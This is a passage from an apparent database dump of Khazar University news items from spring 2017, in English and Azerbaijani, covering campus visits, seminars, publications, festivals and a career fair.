Khazar University entitled “Violation of Grice’s\r\nMaxims and Ambiguity in English Linguistic Jokes” was published in the 7<sup>th</sup>\r\nissue of the International Journal of Advances in Social Sciences. The paper is\r\ninteresting in terms of the author’s approach to the study of humor from the\r\npoint of view of Cooperative Principles (CP) suggested by American philosopher\r\nPaul Grice.&nbsp;</p>'),(3648,2123,'en','Rector of Igdir University Visits Khazar University','On May 2, 2017, Professor Mehmet Hakki Alma, Rector of  Igdir University and Shahin Ahmedoglu, associate professor of the university visited Khazar university. Professor...','<p>On May 2, 2017, Professor Mehmet Hakki Alma, Rector of&nbsp; Igdir University and Shahin Ahmedoglu,\r\nassociate professor of the university visited Khazar university. Professor\r\nHamlet Isakhanli, the Founder of Khazar University and the Chairman of its\r\nBoard of Directors and Trustees, welcomed the guests and gave them through\r\ninformation about the university. Professor Hamlet Isakhanli and professor\r\nMehmet Hakki Alma , the Rector of Igdir University signed agreements\r\nwithin&nbsp; the framework of comprehensive\r\ncooperation and Mevlana Program. The guests visited the university\r\nlaboratories, met with the students studying carpet weaving and jewelry\r\nprograms. Alovsat Amirbeyli,the Director of Public Relations and Media Office also\r\ntook part in the meeting.</p>\r\n<p>Memory photos were taken.</p>'),(3649,2135,'az','Lyublyana Universitetinin professoru Xəzər Universitetində seminar keçirəcək','2017-ci il mayın 19-da Erasmus+ proqramı çərçivəsində Xəzər Universitetində olan Lyublyana Universitetinin professoru xanım Nevenka Hrovatinin iştirakı ilə universitetin...','<p>2017-ci il mayın\r\n19-da Erasmus+ proqramı çərçivəsində Xəzər Universitetində olan Lyublyana\r\nUniversitetinin professoru xanım Nevenka Hrovatinin iştirakı ilə universitetin\r\nşəhər mərkəzindəki kampusunda (B.Səfəroğlu küç. 122) seminar keçiriləcək. Tədbir\r\ningilis dilində olacaq.</p>\r\n<p>Maraqlanan hər kəs\r\ndəvət olunur.</p>'),(3650,2136,'az','Xəzər Universitetinin əməkdaşının məqaləsi çap olundu','Xəzər Universitetinin əməkdaşı Elza İsmayılovanın “Koroğlu” dastanında məkan (Azərbaycan və Türkiyə variantları əsasında)” adlı məqaləsi AMEA Folklor İnstitutunun “Azərbaycan...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversitetinin əməkdaşı Elza İsmayılovanın “Koroğlu” dastanında məkan (Azərbaycan\r\nvə Türkiyə variantları əsasında)” adlı məqaləsi AMEA Folklor İnstitutunun “Azərbaycan\r\nşifahi xalq ədəbiyyatına dair tədqiqlər” jurnalında çap edilmişdir. Məqalədə\r\n“Koroğlu” dastanında adı çəkilən yer adları, toponimlər müqayisəli şəkildə\r\naraşdırılır. Müəllif dastanın həm Türkiyə, həm də Azərbaycan variantlarındakı\r\nyer adlarının, xüsusilə Çənlibelin (Çamlıbelin) hazırkı coğrafi məkanı müəyyənləşdirilməyə\r\nçalışır.</p>'),(3651,2130,'en','Professor Isakhanli Speaks about Shortcomings in Teaching Foreign Languages','On May 3, 2017, an article, entitled “Hamlet Isakhanli said “ it is wrong” was published on the official website of  “Sherg” newspaper. Professor Hamlet Isakhanli, the founder...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On\r\nMay 3, 2017, an article, entitled “Hamlet Isakhanli said “it\r\nis wrong” was published on the official website of&nbsp; “Sherg” newspaper. Professor Hamlet Isakhanli, the founder of Khazar University\r\nand Chairman of its Board of Directors and Trustees elucidates the\r\nreasons for the failures in teaching foreign languages in institutions of\r\nhigher education.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">For\r\nthe full version of the article visit the following link:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.sherg.az/site/id-30480/Hamlet_%C4%B0axanl%C4%B1_\">http://www.sherg.az/site/id-30480/Hamlet_İaxanlı_”yanlışdır”_dedi.</a> </p>'),(3652,2129,'en',' Head of the Cultural Center of Iran Visits Khazar University','On May 2, 2017, Asger Farsi, the Head of the Cultural Center of Iranian Embassy in Azerbaijan visited Khazar University. Hamlet Isakhanli, the founder of Khazar University and...','<p>On May 2, 2017,\r\nAsger Farsi, the&nbsp;Head&nbsp;of the Cultural Center of Iranian&nbsp;Embassy\r\nin Azerbaijan visited Khazar University. Hamlet Isakhanli, the founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees, greeted\r\nguests, and gave information about Khazar University, joint works done in\r\ncoorperation with Cultural Center of Iran. Asger Farsi asked for support from\r\nKhazar University to hold various cultural events in future.</p>\r\n<p>Memory photos\r\nwere taken.&nbsp;</p>'),(3653,2137,'en','Prof. Hamlet Isakhanli in  the Final Concert of “Student Spring” Festival ','On April 27,  gala concert of  “Tələbə baharı” (“Student Spring”) - the 10th Republican Youth arts festival was held in Azerbaijan State Musical Theater. Khazar University dance...','<p>On April 27,&nbsp; gala concert\r\nof&nbsp; “Tələbə baharı” (“Student Spring”) - the 10th Republican Youth arts\r\nfestival was held in Azerbaijan State Musical Theater. Khazar University\r\ndance group also participated in the concert.</p>\r\n<p>Khazar University dance group won the first place in the nomination\r\nof modern dances, and the second place in national dances.</p>\r\n<p>Hamlet Isakhanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, and Nailakhanim\r\nIsayeva, Advisor to the Chairman of the Board of Directors and Trustees, the\r\nFounder of “Dunya” school, also participated in the event.&nbsp;</p>'),(3654,2137,'az','Professor İsaxanlı “Tələbə baharı” festivalının yekun konsertində iştirak etdi','2017-ci il aprelin 27-də Azərbaycan Dövlət Musiqili Teatrında “Tələbə baharı” X Ümumrespublika Tələbə Yaradıcılığı Festivalının yekun – Qala konserti keçirildi...','<p>2017-ci il aprelin\r\n27-də Azərbaycan Dövlət Musiqili Teatrında “Tələbə baharı”\r\nX Ümumrespublika Tələbə Yaradıcılığı Festivalının yekun – Qala konserti keçirildi.\r\nKonsertdə Xəzər Universitetinin rəqs kollektivi də iştirak etdirdi. </p>\r\n<p>Xəzər Universitetinin rəqs kollektivi müasir rəqslər\r\nnominasiyasında 1-ci yeri, milli rəqslər nominasiyasında isə 2-ci yeri tutdu. </p>\r\n<p>Tədbirdə Xəzər Universitetinin təsisçisi, Direktorlar\r\nvə Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və Direktorlar və Qəyyumlar\r\nŞurası sədrinin müşaviri, “Dünya” məktəbinin təsisçisi Nailə xanım İsayeva da iştirak\r\nedirdilər.</p>'),(3655,2135,'en','Professor of the University of Ljubljana to Hold a Seminar at Khazar University.','On May, 2017, a seminar will be held in the downtown campus of the university (Bashir Safaroglu...','<p>On\r\nMay, 2017, a seminar will be held in the downtown campus of the university (Bashir\r\nSafaroglu street.122) with the participation of the professor of the University\r\nof Ljubljana Ms. Nevenka Hrovatin who visits Khazar University within the\r\nframework of&nbsp; &nbsp;Erasmus+ program. The seminar will be in\r\nEnglish.</p>\r\n<p>Everyone\r\ninterested is welcome</p>'),(3656,2138,'az','Misirin Təhsil nazirinin birinci müavini Xəzər Universitetində oldu','2017-ci il mayın 4-də Misir Ərəb Respublikası Təhsil nazirinin birinci müavini professor Hossam El-Malehy və Misir Mədəniyyət və Təhsil Atteşesi Dr.Ahmet Sami Elaydi...','<p>2017-ci il mayın\r\n4-də Misir Ərəb Respublikası Təhsil nazirinin birinci müavini professor Hossam\r\nEl-Malehy və Misir Mədəniyyət və Təhsil Atteşesi Dr.Ahmet Sami Elaydi Xəzər\r\nUniversitetini ziyarət etdilər. Qonaqları&nbsp;Xəzər Universitetinin təsisçisi,\r\nDirektorlar və&nbsp;Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı səmimi\r\nsalamlayaraq, yenidən görüşmələrinə məmnun olduğunu bildirdi. O, Xəzər Universiteti\r\nhaqqında qonaqlara məlumat verdi. Sonra H.İsaxanlı qonaqlara Xəzər Universitetinin\r\nrəhbərliyini təqdim etdi. Misirli qonaqlar universitetin rektoru professor\r\nHassan Niknafs, Akademik işlər üzrə prorektor professor Məhəmməd Nuriyev, İdarəetmə\r\nvə tələbə işləri üzrə prorektor İsaxan İsaxanlı, Humanitar və sosial elmlər\r\nfakültəsinin dekanı Cabir Xəlilov, Təhsil fakültəsinin dekanı Elza Səmədova,\r\nİqtisadiyyat və menecment fakültəsinin dekanı Ceyhun Məmmədov, İctimai əlaqələr\r\nvə media üzrə direktor Əlövsət Əmirbəyli, İnkişaf Mərkəzinin direktoru Raziyə\r\nİsayeva, Keyfiyyətin Təminatı Mərkəzinin direktoru Lyudmila Sotova, Beynəlxalq\r\nƏlaqələr Ofisinin direktoru Turan Cəfərova və digərləri ilə tanış oldular. T.Cəfərova\r\nXəzər Universiteti haqqında təqdimat etdi. Təhsil nazirinin müavini H.El-Malehy\r\nvə Hamlet İsaxanlı bir-birilərinə hədiyyələr təqdim etdilər. Turan Cəfərova universitet\r\nhaqqında görüntülü məlumatları qonaqlara çatdırdı. Misirli qonaqlar universitetin\r\nKitabxana-İnformasiya Mərkəzi, laboratoriyalar, sinif otaqları ilə tanış oldular.\r\n</p>\r\n<p>Qonaqların şərəfinə\r\nziyafət verildi. Xatirə şəkilləri çəkildi. &nbsp;&nbsp;</p>'),(3657,2139,'az','“Web of Science” platformasının növbəti tədbiri keçirildi','2017-ci il mayın 3-də dünyanın aparıcı informasiya agentliyi “Thomson Reuters”-in “Web of Science” platformasının   Azərbaycanda ali təhsil müəssisələri üçün hazırlanan layihənin...','<p>2017-ci il mayın 3-də dünyanın aparıcı\r\ninformasiya agentliyi “Thomson Reuters”-in “Web of Science” platformasının&nbsp;&nbsp; Azərbaycanda ali təhsil müəssisələri üçün\r\nhazırlanan layihənin növbəti tədbiri Bakı Dövlət Universitetində\r\nkeçirildi.</p>\r\n<p>Tədbirdə əvvəlcə “Thomson\r\nReuters” Agentliyi Elm və təhsil departamentinin əməkdaşı Aygün Babazadə təmsil\r\netdiyi agentlik və həmin qurumda yer alan elmi jurnallar haqqında ətraflı\r\nməlumat verdi. Tədbirin ikinci hissəsində Xəzər Universitetinin “Xəzər\r\nHumanitar və Sosial Elmlər” beynəlxalq elmi jurnalın redaktor müavini Xəyalə\r\nMəmmədova beynəlxalq elmi məqalənin hazırlanma qaydaları, elmi jurnalın idarə\r\nedilməsi prinsipləri, “Web of Science” platformasına daxil olmaq üçün jurnallar\r\nvə digər praktiki məsələlərlə bağlı tədbir iştirakçılarını məlumatlandırdı. </p>\r\n<p>Tədbirin sonunda iştirakçıların sualları\r\ncavablandırıldı. </p>\r\n<p>Qeyd edək ki, layihəyə daxil olan bu cür\r\nsilsilə tədbirlər Azərbaycanın digər ali təhsil müəssisələrində də davam\r\nedəcəkdir.</p>'),(3658,2140,'az','Tarix və arxeologiya departamentinin müəllimi Anadolu Universitetində','2017-ci il aprelin 24-dən 29-dək Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Anar Eyyubov Erasmus+ proqramı çərçivəsində Türkiyənin nüfuzlu və tələbə...','<p>2017-ci il aprelin 24-dən 29-dək Xəzər\r\nUniversiteti Tarix və arxeologiya departamentinin müəllimi Anar Eyyubov Erasmus+\r\nproqramı çərçivəsində Türkiyənin nüfuzlu və tələbə sayına görə öndə olanlardan\r\n(34 min əyani və 1 milyona yaxın distant tələbə və magistr) Anadolu\r\nUniversitetində təcrübə mübadiləsi apardımışdır. Belə ki, A.Eyyubov beynəlxalq\r\nmünaqişələrin psixoloji aspektlərinə dair magistrlər və “Beynəlxalq münasibətlər”\r\nüzrə yerli həmkarları qarşısında seminarlarla çıxış etmişdir. O, dərslərini\r\npraktiki misallarla, Türkiyə və Azərbaycan təcrübələrini müqayisə etməklə\r\nkeçirmiş, tələbələrlə fəal interaktiv ünsiyyət qurmağa nail olmuşdur.</p>'),(3660,2122,'en',' Staff Member of Kastamonu University to Hold a Workshop at Khazar University','On May 3,2017, at 12:00 Dr.Gozde Gurelli ,instructor of the Faculty of Arts and Sciences...','<p>On May 3,2017, at 12:00 Dr.Gozde Gurelli\r\n,instructor of the Faculty of Arts and Sciences, Department of Biology at &nbsp;Kastamonu University in Turkey, will hold &nbsp;a lecture / workshop on “<em>Endocommensal\r\nCiliates (Ciliophora: Protista) of Herbivores</em>” - &nbsp;about protist (Protozoa)&nbsp; for students and researchers at “Neftchiler”\r\ncampus&nbsp; of Khazar university (room №\r\n102N)</p>\r\n<p>Dr.Gozde Gurelli visited the Department\r\nof Biological Sciences within <em>Erasmus Staff Training Mobility Program</em>.</p>\r\n<p>Everyone\r\ninterested is welcome</p>'),(3661,2136,'en','Khazar Faculty Member’s Article Published ','The article of Elza Ismayilova, Khazar faculty member, entitled “Places in  “Koroghlu” epos ( based on Azerbaijani and Turkish versions)” , was published in the journal...','<p>The\r\narticle of Elza Ismayilova, Khazar faculty member, entitled “Places in &nbsp;“Koroghlu” epos ( based on Azerbaijani and\r\nTurkish versions)” , was published in the journal “Researches on Azerbaijani\r\nfolk literature” of the Institute of Folklore ANAS. The article studies names\r\nof places and&nbsp; toponyms mentioned in\r\n“Koroghlu” epos comparatively. The author seeks to determine the names of\r\nplaces in both Turkish and Azerbaijani versions, especially current\r\ngeographical location of “Chenlibel”.</p>'),(3662,2132,'en',' A Report-Election Meeting of   Nizami District Trade Union Organization','On May 3, 2017, a report-election meeting of Trade Union of State Organization and Public Service Workers was held in Nizami District Executive Power. The report of ...','<p>On\r\nMay 3, 2017, a report-election meeting of Trade Union of State Organization and\r\nPublic Service Workers was held in Nizami District Executive Power. The report\r\nof the organizing committee of Nizami district was delivered.&nbsp; The new chairman and representatives to the\r\nrepublican convention were elected.</p>\r\n<p>Eight\r\nrepresentatives from Khazar University also took part in the report-election\r\nmeeting.&nbsp;</p>'),(3663,2142,'az','Xəzər Universitetində “İnkişaf zamanı” adlı təlim keçirildi','2017-ci il mayın 5-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşkilatçılığı ilə “İnkişaf zamanı” adlı təlim keçirildi. Təlimçi Namaz Kərimov...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">2017-ci il mayın 5-də Xəzər Universiteti Coğrafiya və ətraf\r\nmühit departamentinin təşkilatçılığı ilə “İnkişaf zamanı” adlı təlim keçirildi.\r\nTəlimçi Namaz Kərimov “İnkişaf zamanı” proqramının gənclərə təklif etdiyi fəaliyyətlərdən\r\ndanışdı.&nbsp;</p>'),(3664,2133,'en','Conference Held at  Khazar University in Turkish Media ','As it was reported, on April 22-23, 2017, the IV International Psychology Conference was held at Khazar University.  On April 29, an article of Ayla Turkoy, who participated...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">As it was reported, on\r\nApril 22-23, 2017, the IV International Psychology Conference was held at Khazar\r\nUniversity.&nbsp; On April 29, an article of\r\nAyla Turkoy, who participated in the conference, about the conference was\r\npublished on the website of BİA News Center in Istanbul (BİAQAM).</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The article is available at the following link:</p>\r\n<p><a href=\"http://m.bianet.org/biamag/bilim/185976-hazar-in-soraginda\">http://m.bianet.org/biamag/bilim/185976-hazar-in-soraginda</a><strong></strong></p>'),(3665,2138,'en','The First Deputy Minister of Education of Egypt Visits Khazar University','On May 4, 2017, the First Deputy Minister of Education of the Arab Republic of Egypt Hossam El-Malehy and Dr.Ahmed Sami Elaydy, Cultural and Educational Attache of Egypt...','<p>On May 4, 2017,\r\nthe First Deputy Minister of Education of the Arab Republic of Egypt Hossam\r\nEl-Malehy and Dr.Ahmed Sami Elaydy, Cultural and Educational Attache of Egypt visited\r\nKazar University. Hamlet Isakhanli, Founder of Khazar University and Chairman\r\nof its Board of Directors and Trustees, greeted the guests and expressed his\r\npleasure at meeting them again. He gave information about Khazar University to\r\nthe guests. Later he introduced the administration of the university to the\r\nguests. The guests from Egypt got acquainted with Hassan Niknafs, Rector of the\r\nUniversity; Professor Mahammad Nuriyev, Vice President of Khazar University for\r\nAcademic Affairs; Dr. Isakhan Isakhanli, Vice President for Administration and\r\nStudent Affairs; Jabir Khalilov, Dean&nbsp;of the&nbsp;School of&nbsp;Humanities&nbsp;and&nbsp;Social\r\nSciences; Elza Samadova, Dean of the School of Education; Jeyhun Mammadov, Dean\r\nof the School&nbsp;of Economics and Management; Alovsat Amirbayli, Director&nbsp;of\r\nMedia and PR Office; Raziya Isayeva, Director of the Development Center; Lyudmila\r\nSotova, Director of Quality Assurance Center; Turan Jafarova, Director of\r\nInternational Affairs Office and others. Turan Jafarova made a presentation\r\nabout Khazar University. The Deputy Minister of Education of Egypt and Hamlet\r\nIsakhanli gave presents to each other. The guests also got acquainted with the Library-Information\r\ncenter, laboratories and classrooms at the university.&nbsp; </p>\r\n<p>A banquet was\r\norganized in honor of the guests. Photos were taken at the end of the event.</p>'),(3666,2114,'en','\"The victims of April 30\" Commemorated at Khazar University','On 28 April, 2017, an event dedicated to “April 30 ASOA terror” was held at Khazar University.Vurgun Eyyub, Head of the Department of Azerbaijani Language and Literature...','<p>On 28 April, 2017, an event dedicated to “April 30 ASOA\r\nterror” was held at Khazar University.Vurgun Eyyub, Head of the Department of Azerbaijani Language and Literature at\r\nKhazar University, took the stage and shared his views on terror incident and\r\nreminded some moments to the event organizers. Also, Sefa Mehdi, who was one of\r\nthe special guests, expressed his views about the act of terrorism and recited\r\na poem.</p>\r\n<p>At the end, a video clip dealing with April 30 terror\r\nincident was presented. A survey taken from Baku residents, video slide and\r\ninformation about the act of terrorism were given in video clip. After that the\r\nterror victims were commemorated with a minute’s silence.</p>\r\n<p>Note that, 25 people were shot, 12 of them died during the terror\r\nincident happened at Azerbaijan State Oil Academy (currently Azerbaijan State\r\nOil and Industrial University) on April 30, 2009.</p>\r\n<p><a href=\"https://www.youtube.com/watch?v=xxDTZ_p2CY8&amp;feature=youtu.be\" target=\"_blank\">https://www.youtube.com/watch?v=xxDTZ_p2CY8&amp;feature=youtu.be</a><strong></strong></p><p><br></p>'),(3667,2142,'en','“Time for Development” Training Held at Khazar University','On May 5, 2017, a training entitled “Time for Development” was held at Khazar University with the coordination of the Department of Geography and Environment...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:107%\"\"=\"\">On May 5,\r\n2017, a training entitled “Time for Development” was held at Khazar University\r\nwith the coordination of the Department of Geography and Environment. The trainer\r\nNamaz Kerimov spoke about the activities offered by the program “Time for\r\nDevelopment” to the young.&nbsp;</p>'),(3668,2143,'az','Tələbə Məclisi aktyor Hüseyn Əzizoğlu ilə görüş təşkil etdi','2017-ci il mayın 4-də Xəzər Universiteti Tələbə Məclisinin tanınmış şəxlərlə görüş planı çərçivəsində tanınmış video blogger, aktyor Hüseyn Əzizoğlu ilə görüş keçirildi. Aktyor öz...','<p>2017-ci\r\nil mayın 4-də Xəzər Universiteti Tələbə Məclisinin tanınmış şəxlərlə görüş\r\nplanı çərçivəsində tanınmış video blogger, aktyor Hüseyn Əzizoğlu ilə görüş\r\nkeçirildi. Aktyor öz karyerasına necə başladığını, uğur qazanmağın yollarını və\r\nöz uğur hekayəsini tələbələrə çatdırdı.</p>\r\n<p>Görüşdə\r\n100-dən çox tələbə iştirak edirdi. H.Əzizoğlu tələbələrin suallarını\r\ncavablandırdı.&nbsp;</p>'),(3832,2234,'en','Training Course for Potential School Directors Continues','We present to you pictures from today\'s training from the Course for Potential...','We present to you pictures from today\'s training from the Course for Potential School Directors.'),(3833,2229,'en','An interview with Alik Alioglu published','On 27th May, 2017, an interview with Alik Alioglu, the employee of Khazar University was published in gaynarinfo.az - news website...','<p>On\r\n27<sup>th</sup> May, 2017, an interview with Alik Alioglu, the employee of\r\nKhazar University was published in <strong><em>gaynarinfo.az - </em></strong>news<strong><em> </em></strong>website.&nbsp;</p>\r\n<p>The interview can be\r\nread via this link:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://az.qaynarinfo.az/news/shownews/114554-\">http://az.qaynarinfo.az/news/shownews/114554-“o-seiri-yazanda-icmemisdim-amma-sonra-icdim”.html</a>.</p>'),(3669,2144,'az','Xəzər Universitetində “Karyera sərgisi” keçiriləcək','2017-ci il mayın 25-də Xəzər Universitetinin Karyera Mərkəzi ənənəvi “Karyera sərgisi”...','<p>2017-ci\r\nil mayın 25-də<strong>&nbsp;</strong>Xəzər\r\nUniversitetinin Karyera Mərkəzi ənənəvi “Karyera sərgisi” keçiriləcək. Digər sərgilərdən\r\nfərqli olaraq, bu sərgi “Xəzər”dən kənar auditoriyanın da diqqətini cəlb edəcək.\r\nTədbir “Baker Tilly” şirkətinin sponsorluğu ilə keçiriləcək 3 saatlıq sərgidə\r\nmüxtəlif şirkətlər iştirak edəcək. Universitetdən kənar maraqlananların da\r\nfikri və istəyi nəzərə alınaraq, qərar verildi ki, sərgi tək Xəzər\r\nUniversitetinin tələbə və məzunlarını deyil, digər universitetlərin tələbələri,\r\nməzunları və işçiləri üçün də edilsin.&nbsp;</p>'),(3670,2145,'az','Kastamonu Universitetinin əməkdaşı Xəzər Universitetində seminar keçirəcək','2017-ci il mayın 11-i saat 12:00-da Türkiyənin Kastamonu Universitetinin Mühəndislik və memarlıq...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2017-ci il mayın 11-i saat\r\n12:00-da Türkiyənin Kastamonu Universitetinin Mühəndislik və memarlıq\r\nfakültəsinin müəllimi, Landşaft memarlıq departamentinin müdiri Dr. Mehmet\r\nÇetin “<em>The changing of land use for using\r\nGİS</em>” mövzusunda, Xəzər Universitetinin “Neftçilər” kampusunda (otaq 102N)\r\ntələbələr və tədqiqatçılar üçün mühazirə/ seminar keçirəcək.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Qeyd edək ki, Dr. Mehmet Çetin <em>Erasmus\r\nStaff Training Mobility</em>proqramı\r\nçərçivəsində Coğrafiya və ətraf mühit departamentinə gəlmişdir.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Maraqlanan hər kəs dəvətlidir.</p>'),(3671,2146,'az','Xəzər Universiteti Aksu Festivalında Azərbaycanı təmsil edəcək','2017-ci il mayın 17-dən 24-dək Türkiyənin Giresun Valiliyi və Bələdiyyə Başkanlığının dəvəti ilə Xəzər Universitetinin...','<p>2017-ci il mayın 17-dən 24-dək\r\nTürkiyənin Giresun Valiliyi və Bələdiyyə Başkanlığının dəvəti ilə Xəzər\r\nUniversitetinin nümayəndə heyəti, universitetin oğlanlardan və qızlardan ibarət\r\nrəqs qrupları və vokalçıları (35 nəfərlik heyət) Giresunda keçiriləcək 40-cı\r\nBaynəlxalq Aksu Festivalında Azərbaycanı təmsil edəcəklər. Aksu Festivalına\r\ndünyanın 21 ölkəsindən 18 yaşdan yuxarı olan Rəqs Qrupları dəvət edilmişdir.&nbsp;</p>'),(3672,2147,'az','Professor Hamlet İsaxanlı Avrasiya Əməkdaşlıq Fondunun növbəti görüşündə iştirak etdi','2017-ci il mayın 5-i və 6-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı idarə heyətinin üzvü olduğu Avrasiya Əməkdaşlıq...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2017-ci il mayın 5-i və 6-da Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı idarə heyətinin üzvü olduğu Avrasiya Əməkdaşlıq Fondunun\r\nTbilisidə keçirilən növbəti görüşündə iştirak etdi. USAID-in Missiya rəhbərinin\r\nmüavini cənab Thomas Morris, Gürcüstanın Təhsil naziri Aleksandre Jejelava,\r\nGürcüstanın Avropaya və Avro-Atlantik Məkana İnteqrasiya naziri Victor Dolidze,\r\nHolandiyanın Gürcüstandakı səfiri Jos Doumas, İsveç səfirliyinin nümayəndələri\r\nHelena Sanço və Zviad Kvlividze, &nbsp;İnsan Hquqları komitəsinin rəhbəri Sofio\r\nKiladze, Təhsil Komitəsinin rəhbəri Mariam Jashi və başqa dövlət rəsmiləri, səfirlik\r\nnümayəndələri və parlamentarların qatıldığı tədbirdə Professor İsaxanlı bir\r\nsıra vacib görüşlər həyata keçirdi.</p>'),(3673,2144,'en','“Career Fair” at Khazar University','On May 25, 2017, Khazar University Career Center will hold annual Career Fair...','<p>On May 25, 2017, Khazar University Career Center will hold\r\nannual Career Fair. Unlike the previous events, this fair will include\r\nattendees from outside the university. The fair will run for 3 hours and will\r\ninclude different companies. Taking into account the expressed interest of\r\nparties outside the university, a decision was made to organize this fair not\r\nonly for Khazar students and graduates, but also for guests. This year`s Career\r\nFair is coordinated with the financial support of Baker Tilly, a famous\r\naccounting and consulting firm.</p>'),(3674,2148,'az','“Olduğu kimi görünən insan” kitabının təqdimatı','2017-ci il mayın 5-də Xəzər Universitetində universitetin Tarix və arxeologiya departamentinin təşkilatçılığı ilə “Olduğu kimi görünən insan” kitabının təqdimatı keçirildi...','<p>2017-ci il mayın 5-də Xəzər Universitetində universitetin Tarix və\r\narxeologiya departamentinin təşkilatçılığı ilə “Olduğu kimi görünən insan”\r\nkitabının təqdimatı keçirildi. Kitab görkəmli tarixçi alim, BDU-nun professoru\r\nElmira Muradəliyevanın seçilmiş&nbsp; əsərləri,\r\nonun haqqında yazılmış məqalələr, biblioqrafiya və filmoqrafiyadan ibarət tərtib\r\nolunmuşdur. Tərtibçilər tarix üzrə fəlsəfə doktoru Nigar İbrahimova və Güllü\r\nCahangir, ixtisas&nbsp; redaktoru tarix üzrə fəlsəfə\r\ndoktoru Fərhad Cabbarov, kitabın əsas redaktoru yazıçı-publisist, kinoreyissor\r\nNazim Rzadır. Nazim Rza kitaba “Aydın yolun yolçusu” adlı geniş ön söz də\r\nyazmışdır.</p>\r\n<p>Tədbirdə görkəmli alimin həmkarları, yetirmələri,\r\nuniversitetin əməkdaşları və tarix müəllimliyi ixtisasının tələbələri iştirak\r\nedirdilər.</p>\r\n<p>Təqdimatı giriş sözü ilə Tarix və arxeologiya\r\ndepartamentinin müdiri, tarix üzrə fəlsəfə doktoru Roza Arazova açaraq, Elmira\r\nMuradəliyevanın zəngin yaradıcılığı və şəxsi keyfiyyətləri haqqında danışdı. Tədbirin\r\naparıcısı Nazim Rza da bu mövzuda söhbəti davam etdirdi.</p>\r\n<p>Sonra tədbirdə iştirk edənlər görkəmli alim\r\nhaqqında öz ürək sözlərini söylədilər. Yazıçı və tədqiqatçı Teyyub Qurban, Xəzər\r\nUniversitetinin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli, ictimai\r\nxadim Dilarə Vəliyeva, ADPU Azərbaycan tarixi kafedrasının əməkdaşı İradə\r\nQasımova, təhsil eksperti Nabatəli Qulamoğlu, tarix üzrə fəlsəfə doktoru, Milli\r\nAzərbaycan Tarix Muzeyinin elmi katibi Fərhad Cabbarov, tarix üzrə fəlsəfə\r\ndoktoru, BSU-nun jurnalistika kafedrasının dosenti Mübariz Əhmədov, BP şirkətinin\r\nəməkdaşı Nərminə Xəlilova,BDU-nin dosenti Elvira\r\nLətifova və TRASERA Hökümətlərarası Komissiyanın daimi katibliyinin ictimai əlaqələr\r\nüzrə eksperti, BDU doktorantı Samirə Rəfizadə çıxış edərək, Elmira Muradəliyevanın\r\nçoxşaxəli yaradıcılığından, cəsarətli və obyektiv alim mövqeyindən, tələbələrinə,\r\nmagistr və doktorant yetirmələrinə böyük diqqət və qayğısından, yüksək şəxsi\r\nkeyfiyyətlərindən danışdılar.</p>\r\n<p>Tədbirin sinunda professor Elmira Muradəliyeva tələbələrin\r\nsuallarını cavablandırdı, Xəzər Universitetinin rəhbərliyinə və iştirakçılara təşəkkürünü\r\nbildirdi. Alimə gül dəstələri təqdim olundu.</p>\r\n<p><strong><br></strong></p>'),(3675,2149,'az','ESFIDIP Tempus layihəsinin son konfransı Xəzər Universitetində baş tutacaq','2017-ci il mayın 15-i və 16-da Xəzər Universitetində “Əlilliyi olan şəxslərin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il mayın 15-i və 16-da Xəzər\r\nUniversitetində “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə\r\ninteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı Tempus layihəsi çərçivəsində\r\n“Azərbaycanda Əlilliyi olan Tələbələr üçün Ali Təhsil Müəsissələrində bərabər\r\nimkanlar” adlı layihənin son konfransı keçiriləcək. Layihənin tərədaşlarının\r\nnümayəndələri layihə zamanı yaranan çətinliklər, əldə edilmiş nailiyyətlər və ümumilikdə\r\nlayihənin nəticəsini müzakirə və təbliğ etmək üçün iki günlük konfransda\r\niştirak edəcəklər.&nbsp;</p>'),(3676,2149,'en','Final Conference of ESFIDIP Tempus project to be held at Khazar University','On May 15-16, 2017, a final conference entitled “Equal Access @ HEIs in...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nMay 15-16, 2017, a final conference entitled “Equal Access @ HEIs in Azerbaijan\r\nfor Students with Disabilities” in the framework of “The Establishment of a\r\nFoundation for the Integration of Disabled People into HEIs of Azerbaijan”\r\nESFIDIP Tempus project will be held at Khazar University. Representatives of\r\nall partner organizations will participate in two days’ conference to 